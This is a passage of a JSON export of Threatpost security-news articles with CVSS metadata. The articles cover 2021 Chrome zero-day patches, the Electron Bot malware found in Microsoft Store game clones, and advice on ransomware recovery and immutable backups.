by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\n\nThe other nine bugs addressed by Google are as follows:\n\n * CVE-2021-30625: Use after free in Selection API. _Reported by Marcin Towalski of Cisco Talos on 2021-08-06_\n * CVE-2021-30626: Out of bounds memory access in ANGLE. _Reported by Jeonghoon Shin of Theori on 2021-08-18_\n * CVE-2021-30627: Type Confusion in Blink layout. _Reported by Aki Helin of OUSPG on 2021-09-01_\n * CVE-2021-30628: Stack buffer overflow in ANGLE. _Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18_\n * CVE-2021-30629: Use after free in Permissions. _Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26_\n * CVE-2021-30630: Inappropriate implementation in Blink. _Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30_\n * CVE-2021-30631: Type Confusion in Blink layout. _Reported by Atte Kettunen of OUSPG on 2021-09-06_\n\nKevin Dunne, president at Pathlock, pointed out that Google has patched plenty of zero-days already this year \u2013 eight prior to the latest two, to be exact \u2013 and he said to expect more.\n\n## **10th Zero-Day in 2021 for Google**\n\n\u201cToday, Google released a patch for its tenth [and ninth] zero-day exploit of the year,\u201d Dunne said in an email to media. \u201cThis milestone highlights the emphasis that bad actors are putting on browser exploits, with Chrome becoming a clear favorite, allowing a streamlined way to gain access to millions of devices regardless of OS.\n\n\u201cWe expect to see continued zero-day exploits in the wild,\u201d he added.\n\nThe other zero days discovered so far in 2021 are as follows, many of them in the V8 engine:\n\n * [CVE-2021-21148](<https://threatpost.com/google-chrome-zero-day-windows-mac/163688/>) \u2013 (February)\n * [CVE-2021-21166](<https://threatpost.com/google-patches-actively-exploited-flaw-in-chrome-browser/164468/>) \u2013 (March)\n * [CVE-2021-21193](<https://threatpost.com/google-mac-windows-chrome-zero-day/164759/>) \u2013 (March)\n * [CVE-2021-21220](<https://threatpost.com/chrome-zero-day-exploit-twitter/165363/>) \u2013 (April)\n * [CVE-2021-21224](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21224>) \u2013 (April, later [used in Windows attacks](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>))\n * [CVE-2021-30551](<https://threatpost.com/chrome-browser-bug-under-attack/166804/>) \u2013 (June)\n * [CVE-2021-30554](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30554>) \u2013 (June)\n * [CVE-2021-30563](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30563>) \u2013 (July)\n\n\u201cGoogle\u2019s commitment to patching these exploits quickly is commendable, as they operate Google Chrome as freeware and therefore are the sole entity who can provide these updates,\u201d Dunne wrote. \u201cGoogle is committed to providing Chrome as a free browser, as it is a critical entry point for other businesses such as Google Search and Google Workspace.\u201d\n\nThe news comes as Apple [rushed a fix](<https://threatpost.com/apple-emergency-fix-nso-zero-click-zero-day/169416/>) for a zero-click zero-day exploit targeting iMessaging. It\u2019s allegedly been used to illegally spy on Bahraini activists with NSO Group\u2019s Pegasus spyware, according to researchers.\n\nMicrosoft is also expected to release its monthly Patch Tuesday set of updates today, so we\u2019ll see if there are yet more zero-day exploits to worry about.\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on Sept. 22 at 2 p.m. EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with independent researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-14T15:03:41", "type": "threatpost", "title": "Pair of Google Chrome Zero-Day Bugs Actively Exploited", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30625", "CVE-2021-30626", "CVE-2021-30627", "CVE-2021-30628", "CVE-2021-30629", "CVE-2021-30630", "CVE-2021-30631", "CVE-2021-30632", "CVE-2021-30633"], "modified": "2021-09-14T15:03:41", "id": "THREATPOST:88DD5812D3C8652E304F32507E4F68DD", "href": "https://threatpost.com/google-chrome-zero-day-exploited/169442/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-30T22:53:49", "description": "Google has pushed out an emergency Chrome update to fix yet another pair of zero days \u2013 the second pair this month \u2013 that are being exploited in the wild.\n\nThis hoists this year\u2019s total number of zero days found in the browser up to a dozen.\n\nOn Thursday evening, the web Goliath released the [Chrome 94.0.4606.71](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html>) stable channel release for Windows, Mac and Linux to fix the two zero-days, which were included in an update with a total of four security fixes. \n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed with the release of the browser fixes.\n\n## No Details for the Zero Days\n\nJust as it did with the pair of zero days that were being exploited in the wild [earlier this month](<https://threatpost.com/google-chrome-zero-day-exploited/169442/>), Google is keeping technical details close to the vest, at least until most users have had a chance to plug in the update. The company started pushing out Chrome 94.0.4606.71 to users worldwide in the Stable Desktop channel, and it should be available to all users within coming days.\n\n\u201cAccess to bug details and links may be kept restricted until a majority of users are updated with a fix,\u201d the company said in Thursday\u2019s security update. \u201cWe will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed.\u201d\n\nHere are details on the two zero-days:\n\n * **CVE-2021-37976** is described as an \u201cinformation leak in core\u201d and was assigned a Medium severity level. It was discovered by Cl\u00e9ment Lecigne from Google\u2019s Threat Analysis Group (TAG) and reported on Tuesday of last week, Sept. 21. Credit for technical assistance also goes out to Sergei Glazunov and Mark Brand from Google Project Zero.\n * **CVE-2021-37975** is a [user-after-free](<http://cwe.mitre.org/data/definitions/416.html>) bug in the [V8 JavaScript engine](<https://v8.dev/>). Reported on Sunday, Sept. 26, by an anonymous contributor, it\u2019s one of two flaws in Thursday\u2019s update that were rated as high severity. V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable component isn\u2019t specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nThe second high-severity bug Google addressed on Thursday, **CVE-2021-37974**, is another use-after-free vulnerability: this time, in safe browsing.\n\nThe earlier pair of zero days Google addressed this month in a Sept. 13 update, CVE-2021-30632 and CVE-2021-30633, were likewise being actively exploited in the wild. The first was an out-of-bounds write in V8 JavaScript Engine, and the second was a use-after-free vulnerability in the IndexedDB API.\n\n## Use After Free\n\nUse-after-free issues [can result in](<https://cwe.mitre.org/data/definitions/416.html>) any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Writing for Threatpost\u2019s [InfoSec Insider](<https://threatpost.com/microsite/infosec-insiders-community/>) series, Gurucul CEO Saryu Nayyar has described these flaws as among the year\u2019s [most dangerous software weaknesses](<https://threatpost.com/2021-angerous-software-weaknesses/169458/>).\n\nAs Nayyar tells it, use-after-free vulnerabilities entail memory manipulation: \u201cWhen an application needs memory for a variable, it either programmatically allocates that memory, or the underlying platform (JVM or .NET Runtime),\u201d she wrote earlier this month. \u201cWhen the application is done with that memory, either it or the platform returns it to the free memory list.\u201d\n\nBut if an attacker has managed to get the memory address, the actor \u201ccan gain access to the free memory list, and insert malicious software into free memory,\u201d Nayyar continued. \u201cThe next time that memory is allocated, it is allocated with a payload that can cause harm. Further, the memory isn\u2019t wiped clean when it is returned to the free memory list, enabling attackers to read the contents of that memory.\u201d\n\nShe noted that some commercial debuggers can look into a running process and let programmers \u2013 or attackers \u2013 obtain information using memory locations. \u201cWhile these types of debuggers are needed, any tool that lets attackers look into specific memory addresses to determine their contents has the potential to be used as a hacking tool,\u201d Nayyar advised.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-09-30T22:38:50", "type": "threatpost", "title": "Google Emergency Update Fixes Two Chrome Zero Days", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37974", "CVE-2021-37975", "CVE-2021-37976"], "modified": "2021-09-30T22:38:50", "id": "THREATPOST:C6B47B678F2F0E21955D4053DE13FA64", "href": "https://threatpost.com/google-emergency-update-chrome-zero-days/175266/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-02-05T15:56:30", "description": "Google is warning of a zero-day vulnerability in its V8 open-source web engine that\u2019s being actively exploited by attackers.\n\nA patch has been issued in version 88 of Google\u2019s Chrome browser \u2014 specifically, version 88.0.4324.150 for Windows, Mac and Linux. This update will roll out over the coming days and weeks, said Google. The flaw ([CVE-2021-21148](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-21148>)) stems from a heap-buffer overflow, said Google.\n\n\u201cGoogle is aware of reports that an exploit for CVE-2021-21148 exists in the wild,\u201d according to [Google\u2019s Thursday security update](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>).\n\n## **What is a Heap-Buffer Overflow Security Flaw?**\n\nA heap-buffer overflow flaw as its name suggests, is a type of [buffer-overflow error.](<https://cwe.mitre.org/data/definitions/122.html>) This is a class of vulnerability where the region of a process\u2019 memory used to store dynamic variables (the heap) can be overwhelmed. If a buffer-overflow occurs, it typically causes the affected program to behave incorrectly, [according to researchers with Imperva](<https://www.imperva.com/learn/application-security/buffer-overflow/>) \u2013 causing memory access errors and crashes \u2014 and opening the door to remote code execution.\n\nHowever, beyond classifying the flaw as a heap-buffer overflow, Google did not specify the potential impact of this vulnerability. In fact, details of the bug overall (including how it can be exploited) remain scant while Google works to push out the fixes.\n\n\u201cAccess to bug details and links may be kept restricted until a majority of users are updated with a fix,\u201d said Google. \u201cWe will also retain restrictions if the bug exists in a third-party library that other projects similarly depend on, but haven\u2019t yet fixed.\u201d\n\n## **What is the V8 JavaScript Engine?**\n\nThe heap-buffer overflow error exists in V8, an open-source WebAssembly and JavaScript engine developed by the Chromium Project for Google Chrome and Chromium web browsers. V8, which is written in C++, can run stand-alone, or can be embedded into any C++ application.\n\nBugs have previously been discovered (and exploited) in V8, including a flaw in November that was high-severity and tied to active exploits. That flaw [was only described as](<https://threatpost.com/chrome-holes-actively-targeted/160890/>) an \u201cinappropriate implementation in V8.\u201d** **\n\n## **Security Researchers: Targets for Chrome Zero-Day Exploits?**\n\nWhile Google didn\u2019t provide further details of the attackers exploiting the flaw, researchers with Malwarebytes on Friday made a \u201cgeneral assumption\u201d that the attack \u201cwas used against security researchers working on vulnerability research and development at different companies and organizations.\u201d\n\nThey pointed to the timing of when the vulnerability was reported to Google by Mattias Buelens (Jan. 24) and when a report released by Google\u2019s Threat Analysis Group (Jan. 26). That report [by Google researchers](<https://threatpost.com/north-korea-security-researchers-0-day/163333/>) revealed that hackers linked to [North Korea](<https://threatpost.com/north-korea-spy-reporters-feds-warn/160622/>) were targeting security researchers with an elaborate social-engineering campaign that set up trusted relationships with them \u2014 and then infected their organizations\u2019 systems with custom backdoor malware.\n\n\u201cOne of the methods the attackers used was to interact with the researchers and get them to follow a link on Twitter to a write-up hosted on a malicious website,\u201d said [researchers with Malwarebytes](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/02/update-now-chrome-patches-zero-day-that-was-exploited-in-the-wild/>). \u201cShortly after the visit, a malicious service was installed on the researcher\u2019s system and an in-memory backdoor would begin to communicate with a command and control (C&C) server. This sure sounds like something that could be accomplished using a heap buffer overflow in a browser.\u201d\n\nHowever, Google has not confirmed any correlation with this attack.\n\n## **Google Chrome Browser: How to Update**\n\nResearchers urge Google Chrome users to update as soon as possible. Chrome will in many cases update to its newest version automatically, however security experts suggest that users double check that this has happened. To check if an update is available:\n\n * Google Chrome users can go to chrome://settings/help by clicking Settings > About Chrome\n * If an update is available Chrome will notify users and then start the download process\n * Users can then relaunch the browser to complete the update\n\n## ** ****Google Chrome Cybersecurity Flaws Continue **\n\nThe flaw is only the latest security issue in Google Chrome in recent months. In January, the Cybersecurity and Infrastructure Security Agency (CISA) [urged Windows, macOS and Linux users](<https://threatpost.com/firefox-chrome-edge-bugs-system-hijacking/162873/>) of Google\u2019s Chrome browser to patch an out-of-bounds write bug (CVE-2020-15995) impacting the current 87.0.4280.141 version of the software.\n\nAnd in December, Google updated Chrome to fix four bugs with a severity rating of \u201chigh\u201d and eight overall. [Three were use-after-free flaws](<https://threatpost.com/google_chrome_bugs_patched/161907/>), which could allow an adversary to generate an error in the browser\u2019s memory, opening the door to a browser hack and host computer compromise.\n\n**Download our exclusive **[**FREE Threatpost Insider eBook**](<https://threatpost.com/ebooks/healthcare-security-woes-balloon-in-a-covid-era-world/?utm_source=FEATURE&utm_medium=FEATURE&utm_campaign=Nov_eBook>) _**Healthcare Security Woes Balloon in a Covid-Era World**_**, sponsored by ZeroNorth, to learn more about what these security risks mean for hospitals at the day-to-day level and how healthcare security teams can implement best practices to protect providers and patients. Get the whole story and **[**DOWNLOAD the eBook now**](<https://threatpost.com/ebooks/healthcare-security-woes-balloon-in-a-covid-era-world/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_eBook>)** \u2013 on us!**\n\nWrite a comment\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2021-02-05T15:47:55", "type": "threatpost", "title": "Google Chrome Zero-Day Afflicts Windows, Mac Users", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-15995", "CVE-2021-21148"], "modified": "2021-02-05T15:47:55", "id": "THREATPOST:398E85215A3E7B7329EE3FED8F6374FF", "href": "https://threatpost.com/google-chrome-zero-day-windows-mac/163688/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-24T20:38:32", "description": "A backdoor malware that can take over social-media accounts \u2013 including Facebook, Google and Soundcloud \u2013 has infiltrated Microsoft\u2019s official store by cloning popular games such as Temple Run or Subway Surfer.\n\nThe backdoor, dubbed Electron Bot, gives attackers complete control over compromised machines. Among the multiple evil deeds it can execute remotely, it enables its operators to register new accounts, log in, and comment on and like other social media posts \u2013 all in real time.\n\nIn a Thursday [report](<https://research.checkpoint.com/2022/new-malware-capable-of-controlling-social-media-accounts-infects-5000-machines-and-is-actively-being-distributed-via-gaming-applications-on-microsofts-official-store/>), Check Point Research (CPR) said that the malware has claimed more than 5,000 victims in 20 countries \u2013 most from Bermuda, Bulgaria, Russia, Spain and Sweden\u2013 in its actively ongoing onslaught.\n\nIt\u2019s mainly being distributed via the Microsoft store platform, hiding in dozens of infected apps \u2013 mostly games \u2013 that the attackers are \u201cconstantly\u201d uploading, CPR said.\n\nA Microsoft spokesperson told Threatpost on Thursday that \u201cWe are investigating this issue and will take appropriate action to protect customers.\u201d\n\n## **SEO Poisoning, Ad-Clicking and Fraud**\n\nAs for its endgame, CPR researchers described the newly discovered and analyzed Electron Bot backdoor as \u201ca modular SEO-poisoning malware\u201d used \u201cfor social-media promotion and click fraud.\u201d\n\nIn an SEO-poisoning attack, threat actors create malicious websites and use search-engine optimization tactics that force those sites to the top of search results.\n\nSEO poisoning, besides ginning up malicious sites\u2019 SEO showings, is also sold as a service to promote other websites\u2019 rankings. It can be just another tool in malware pushers\u2019 kit bags: In March 2021, for example, we saw Gootkit malware use Google SEO poisoning to [expand](<https://threatpost.com/malware-loader-google-seo-payload/164377/>) the number of payloads it delivers.\n\nElectron Bot also functions as an ad clicker, constantly clicking on remote websites to generate clicks on ads that generate pay-per-click (PPC) ad revenue.\n\nIt can also promote social-media accounts, such as YouTube and SoundCloud, to direct traffic to specific content, thereby jacking up view and ad-clicking for yet more PPC loot. Electron Bot can also promote online products: another way to generate PPC revenue or increase a store\u2019s rating for higher sales.\n\nThe Electron framework enables the bot to \u201cimitate human browsing behavior and evade website protections,\u201d CPR explained.\n\n## Electron: Quietly Buzzing for Years\n\nResearchers said that the first hint of the attackers having trespassed into Microsoft\u2019s app store came at the end of 2018, when an [ad-clicker](<https://threatpost.com/ad-fraud-iot-hack/144552/>) campaign was [discovered](<https://www.bleepingcomputer.com/news/security/ad-clicker-hiding-as-google-photos-app-found-in-microsoft-store/>) hiding in an app called \u201cAlbum by Google Photos\u201d \u2013 an app that its authors, audaciously enough, fraudulently pushed as being published by Google LLC.\n\nThe malware has gotten bigger and brawnier over the years. The bot gets its name from [Electron](<https://www.electronjs.org/>), an open-source framework for building cross-platform, native desktop applications using web technologies such as JavaScript.\n\nThe bot hides by having most of its controlling scripts load dynamically at run time from the attackers\u2019 servers, CPR said. This approach keeps the malware nimble, too, they said: \u201cThis enables the attackers to modify the malware\u2019s payload and change the bots\u2019 behavior at any given time.\u201d\n\nWhile the bot\u2019s current activities on infected machines aren\u2019t terribly high-risk, researchers noted, the malware could do far worse, given the Electron framework\u2019s granting of access to all computer resources, including GPU computing.\n\n\u201cAs the bot\u2019s payload is loaded dynamically at every run time, the attackers can modify the code and change the bots behavior to high-risk,\u201d they said. \u201cFor example, they can initialize another second stage and drop a new malware such as ransomware or a [remote-access trojan, or RAT]. All of this can happen without the victim\u2019s knowledge.\u201d\n\n## Electron Bot Infection Routine\n\nThe infection starts when a victim installs an infected app from the Microsoft Store.\n\n\u201cWhen the user launches the game, a JavaScript dropper is loaded dynamically in the background from the attackers\u2019 server,\u201d according to CPR. \u201cIt then executes several actions including downloading and installing the malware and gaining persistency on the startup folder.\u201d\n\nWhen the infected system next starts up, the malware launches, establishes a connection with the command-and-control server (C2), and receives a dynamic JavaScript payload with a set of capability functions. Finally, the C2 sends the configuration file commands to execute.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/24123550/Electronc-Bot-infection-chain-e1645724162827.jpg>)\n\nElectron bot infection chain. Source: CPR.\n\nCPR used the popular Temple Endless Runner 2 game as an example of the games cloned by the Electron Bot attackers. This particular game involves an \u201cinfinite\u201d runner, escaping from an enemy by crossing cliffs, forests and mines; evil ape monsters in hot pursuit; a photosensitive seizure warning; and about 100 reviews.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/24124502/Temple-Endless-Runner-game-e1645724715406.jpg>)\n\nThe popular Temple Endless Runner 2 game cloned by the Electron Bot operators. Source: CPR.\n\n## Click-Happy App Store Customers, Beware\n\nIt\u2019s that kind of (potentially seizure-inducing) popularity that gets us into trouble.\n\nAs it is, official app stores are rife with [fraud, fleecewear](<https://threatpost.com/apple-app-store-fraud-fleeceware/166703/>) and [banking trojans](<https://threatpost.com/gaming-banking-trojans-mobile-malware/178571/>). The latest of the lot is the Xenomorph banking trojan recently [discovered](<https://threatpost.com/xenomorph-malware-google-play-facehugger/178563/>) by ThreatFabric, and the most ironic must surely be Vultur, a trojan tucked into a fully functioning two-factor authentication (2FA) app that recently [infected](<https://threatpost.com/2fa-app-banking-trojan-google-play/178077/>) 10,000 victims who downloaded it from Google Play.\n\nElectron Bot\u2019s successful incursion into Microsoft\u2019s official app store is just the latest glaring example of how people throw caution to the wind when they see a shiny new toy on the app stores, CPR researchers warned: \u201cGiven most people think that you can trust application store reviews, they do not hesitate to download an application from there.\u201d\n\nCPR passed on these safety tips:\n\n * Avoid downloading an application with a small number of reviews.\n * Look for applications with good, consistent and reliable reviews.\n * Pay attention to suspicious application naming that\u2019s not identical to the original name.\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-24T18:42:49", "type": "threatpost", "title": "Microsoft App Store Sizzling with New \u2018Electron Bot\u2019 Malware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-24T18:42:49", "id": "THREATPOST:31D14CEE5977BF71F79F7C30AEC10698", "href": "https://threatpost.com/microsoft-app-store-electron-bot-malware/178629/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-24T21:18:33", "description": "In part one of [this series](<https://threatpost.com/harsh-truths-cybersecurity-tips/178311/>), I outlined some harsh truths of cybersecurity in 2022 and the first three of the top six steps you should take to ensure resiliency against today\u2019s most pervasive threat\u2014ransomware. Here, I\u2019ll cover the remaining three:\n\nBut first, let\u2019s take a quick step back.\n\nIt used to be that ransomware would get into a system, start encrypting and downloading as much as it could, and then escape before it was detected. But ransomware and the cybercriminals behind it have now evolved.\n\nMimicking the art of \u201ccasing the joint,\u201d they get in, do cyber-reconnaissance, lurk until the optimal time to inflict maximum impact, and then they strike. This practice of remaining undetected for a period of time is often referred to as dormant ransomware, and it is now a regular occurrence.\n\nBad actors are highly motivated to cause as much destruction as possible to make more money and maximize their efforts \u2014 just as with any business, it\u2019s all about ROI. Some reports suggest that ransomware sometimes lays dormant for up to 18 months. The bad actors know that optimal destruction depends on multiple factors, such as timing and scope. They want you to have no other choice but to pay the ransom.\n\nIn short, the old days of a breach and attack happening at the same time are long gone. This added complexity means that cybercriminals often know your systems better than even you do. Therefore, the chance that they launch a series of events designed to disrupt and disable critical systems to net larger payouts is rising drastically.\n\nSo, what should you do today to combat this new dormant ransomware and cyber-recon strategy? In the first part of this series, I discussed:\n\n * Get Full Infrastructure Awareness\n * Automate Alerts for Anomalous Behavior\n * Limit Access & Reduce Your Attack Surface\n\nWithout further ado, here are the remaining three of the top six steps to ensure ransomware resiliency.\n\n## **Make Resiliency & Rapid Recovery Your Goal**\n\nWith the mindset that bad actors are already in your system, resiliency and rapid recovery should become the ultimate goal. We are talking about so much more than just a restore point, a single backup copy or making multiple copies. You must architect an optimized and simplified recovery experience that will help you get back up and running quickly, even at scale.\n\nTruly optimizing for the recovery experience requires careful planning, orchestration, recovery options, cross-functional alignment and training, storage deduplication efficiencies, and global visibility and oversight. Having solutions that provide recovery from anywhere to anywhere, and flexibility and choice in the event of an attack or disaster, is critical.\n\nWhy? Well, cyberattacks are never one size fits all. Sometimes everything is impacted and you may need to recover an entire data center in the cloud and on demand. On the other hand, maybe not all your environment is impacted, just a portion; having solutions in place that allow you to grab individual databases and files to recover back quickly into production can be vital. In the case where entire servers become encrypted, you may need to quickly recover those entire servers elsewhere. Or maybe you just need to recover a large amount of virtual machines back to production.\n\n_**Important reminder:** _Not all tools provide this level of flexibility. It is important to think through all of the scenarios and choose the right solution. And remember, multiple disparate backup solutions create a complicated recovery experience, especially when multiple systems are compromised. Simplify and streamline by reducing the number and variety of point products and vendors across your organization.\n\n## **Use Immutable & Indelible Storage to Keep Backups Safe**\n\nI recommend the 3-2-1+1 methodology of data backup. That means at least three copies of your data on at least two distinct mediums with at least one offsite or segregated \u2014 and, have at least one of those copies on immutable and indelible storage.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/16090743/321-Backup.png>)You can implement technology to help you easily and automatically execute a 3-2-1+1 methodology that ensures no single point of failure, by configuring lifecycle policies that send data over to a secondary or even tertiary domain. Look for technology that can send your data unidirectionally to a secure second location that can have different credentials configured and limited network capabilities, ensuring proper segmentation of your data protection environment. Even better are tools that can also send a copy of de-duplicated immutably stored data to the cloud.\n\n_**Important reminder:** _Immutable and indelible storage helps ensure that your data cannot be changed, encrypted or deleted for a determined length of time, or at all. At first, make immutable storage your second copy, but once you get comfortable with your retention policies, make it your primary copy.\n\n## **Rehearse Your Recovery**\n\nCybercriminals hope that your organization is like most \u2014 not optimized for recovery. They want maximum damage and downtime to ensure they get paid. If you are ready and have rehearsed your recovery, you are a huge step ahead.\n\nTo get to rapid recovery, you must have a cybersecurity response plan for your entire environment that includes testing early and often. Yes, regular rehearsals of your recovery help to limit downtime and disruptions and reduce the impact of an attack. Look for technology that makes it easy and efficient to execute non-disruptive tests leveraging non-production resources such as fenced networks and sandbox environments.\n\nAlso, rehearse recovering everything, and not just a subset of your applications, including things like your domain, authentication, system time and other infrastructure services, as you will likely be recovering most or all of your production environment in the event of an actual attack.\n\n_**Important reminder:** _Regular rehearsal and validation are vital for success because when you are in crisis mode, things just need to work.\n\nIn closing, one final harsh truth: It will get worse. Cybercriminals are sophisticated, well-funded and here to stay. Ransomware-as-a-service vendors exist in large numbers and have successfully transitioned to a highly profitable business model with the charter of successfully crippling organizations at their most vulnerable times to maximize ransoms. These businesses provide turnkey code, have advanced support networks with helplines, and provide tools for encryption, communicating with victims and facilitating ransom collection.\n\nIn addition to the dormant ransomware trend, we have already seen a vast influx of zero-day attacks in 2022. Along with patching and updating software regularly, it is also important to prioritize educating your employees across your entire organization. Zero-day attacks often capitalize on human error.\n\nThe good news is that you can be one step ahead of cybercriminals with the proactive steps outlined in this two-part series, diligence and some creative thinking.\n\n**_Sonya Duffin is a ransomware and data protection expert at [Veritas Technologies](<https://www.veritas.com/>)._**\n\n_**Enjoy additional insights from Threatpost\u2019s Infosec Insiders community by visiting our [microsite](<https://threatpost.com/microsite/infosec-insiders-community/>).**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-24T21:11:33", "type": "threatpost", "title": "The Harsh Truths of Cybersecurity in 2022, Part Two", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": 